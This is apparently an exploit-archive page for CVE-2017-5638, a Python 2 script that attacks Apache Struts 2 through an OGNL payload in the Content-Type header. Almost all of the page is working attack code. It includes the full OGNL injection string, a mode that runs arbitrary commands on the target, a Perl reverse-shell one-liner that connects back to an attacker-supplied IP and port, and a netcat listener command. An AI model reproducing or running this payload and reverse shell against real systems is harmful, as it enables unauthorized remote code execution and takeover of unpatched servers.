Apache Struts 2 2.3.x / 2.5.x Remote Code Execution

Apache Struts 2 versions 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 remote code execution exploit that provides a reverse shell.


MD5 | 1fe1221359b528e0a3f8439c385ef6e1

# CVE-2017-5638
# Apache Struts 2 Vulnerability Remote Code Execution
# Reverse shell from target
# Author: anarc0der - github.com/anarcoder
# Tested with tomcat8

# Install tomcat8
# Deploy WAR file https://github.com/nixawk/labs/tree/master/CVE-2017-5638

# Ex:
# Open: $ nc -lnvp 4444
# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --ip=127.0.0.1 --port=4444
# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --test
# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --cmd='uname -a'


"""
Usage:
struntsrce.py --target=<arg> --test
struntsrce.py --target=<arg> --cmd=<arg>
struntsrce.py --target=<arg> --ip=<arg> --port=<arg>
struntsrce.py --help
struntsrce.py --version

Options:
-h --help Open help menu
-v --version Show version
Required options:
--target='url target' your target :)
--test check if target is vulnerable or not
--cmd='uname -a' your command to execute in target
--ip='10.10.10.1' your ip
--port=4444 open port for back connection

"""

import urllib2
import httplib
import os
import sys
from docopt import docopt, DocoptExit


class CVE_2017_5638():

def __init__(self, p_target):
self.target = p_target
# self.ip = p_ip
# self.port = p_port
# self.exploit()

def generate_revshell(self, p_ip, p_port):
revshell = "perl -e \\'use Socket;$i=\"{0}\";$p={1};"\
"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));"\
"if(connect(S,sockaddr_in($p,inet_aton($i)))){{open"\
"(STDIN,\">&S\");open(STDOUT,\">&S\");"\
"open(STDERR,\">&S\");exec(\"/bin/sh -i\");}};\\'"
return revshell.format(p_ip, p_port)

def generate_payload(self, p_cmd):
payload = "%{{(#_='multipart/form-data')."\
"(#[email protected]@DEFAULT_MEMBER_ACCESS)."\
"(#_memberAccess?"\
"(#_memberAccess=#dm):"\
"((#container=#context['com.opensymphony.xwork2."\
"ActionContext.container'])."\
"(#ognlUtil=#container.getInstance(@com.opensymphony."\
"xwork2.ognl.OgnlUtil@class))."\
"(#ognlUtil.getExcludedPackageNames().clear())."\
"(#ognlUtil.getExcludedClasses().clear())."\
"(#context.setMemberAccess(#dm))))."\
"(#cmd='{0}')."\
"(#iswin=(@java.lang.System@getProperty('os.name')."\
"toLowerCase().contains('win')))."\
"(#cmds=(#iswin?{{'cmd.exe','/c',#cmd}}:"\
"{{'/bin/bash','-c',#cmd}}))."\
"(#p=new java.lang.ProcessBuilder(#cmds))."\
"(#p.redirectErrorStream(true)).(#process=#p.start())."\
"(#ros=(@org.apache.struts2.ServletActionContext@get"\
"Response().getOutputStream()))."\
"(@org.apache.commons.io.IOUtils@copy"\
"(#process.getInputStream(),#ros)).(#ros.flush())}}"
return payload.format(p_cmd)

def send_xpl(self, p_payload):
body = ''
try:
# Set proxy for debug request, just uncomment these lines
# Change the proxy port

#proxy = urllib2.ProxyHandler({'http': '127.0.0.1:8081'})
#opener = urllib2.build_opener(proxy)
#urllib2.install_opener(opener)

headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)'
' AppleWebKit/537.36 (KHTML, like Gecko)'
' Chrome/55.0.2883.87 Safari/537.36',
'Content-Type': p_payload}
xpl = urllib2.Request(self.target, headers=headers)
body = urllib2.urlopen(xpl, timeout=5).read()
except httplib.IncompleteRead as b:
body = b.partial
except:
pass
return body

def os_detect(self):
cmd = 'uname'
resp = self.send_xpl(self.generate_payload(cmd))
if 'Linux' in resp or 'Darwin' in resp:
print '[+] Unix-like OS system detected.\n'
else:
print '[+] Windows OS system detected.\n'

def test_vuln(self):
cmd = 'hacked'
print '\n[+] Testing ' + self.target
resp = self.send_xpl(self.generate_payload(cmd))
tags = ['<html', '<head', '<body', '<script', '<div']
if any(tag not in resp.lower() for tag in tags) and cmd in resp:
print '[+] Target possibly vulnerable'
print '[+] Finger printing OS system..'
self.os_detect()
else:
print '[-] Target not vulnerable\n'
sys.exit(0)

def exec_cmd(self, p_cmd):
print '\n[+] Target: {0}'.format(self.target)
print '[+] Executing: {0}\n\n'.format(p_cmd)
resp = self.send_xpl(self.generate_payload(p_cmd))
print resp

def exec_revshell(self, p_ip, p_port):
print '\n[+] Target: {0}'.format(self.target)
print '[+] Dont forget to listen on port: {0}'.format(p_port)
print '[+] Attempting reverse shell...\n'

self.send_xpl(self.generate_payload(
self.generate_revshell(p_ip, p_port)))


def main():
try:
arguments = docopt(__doc__, version="Apache Strunts RCE Exploit")
target = arguments['--target']
test = arguments['--test']
cmd = arguments['--cmd']
ip = arguments['--ip']
port = arguments['--port']

except DocoptExit as e:
os.system('python2 struntsrce.py --help')
sys.exit(1)

x = CVE_2017_5638(target)
if test:
x.test_vuln()
if cmd:
x.exec_cmd(cmd)
if ip and port:
x.exec_revshell(ip, port)


if __name__ == '__main__':
main()



Related Posts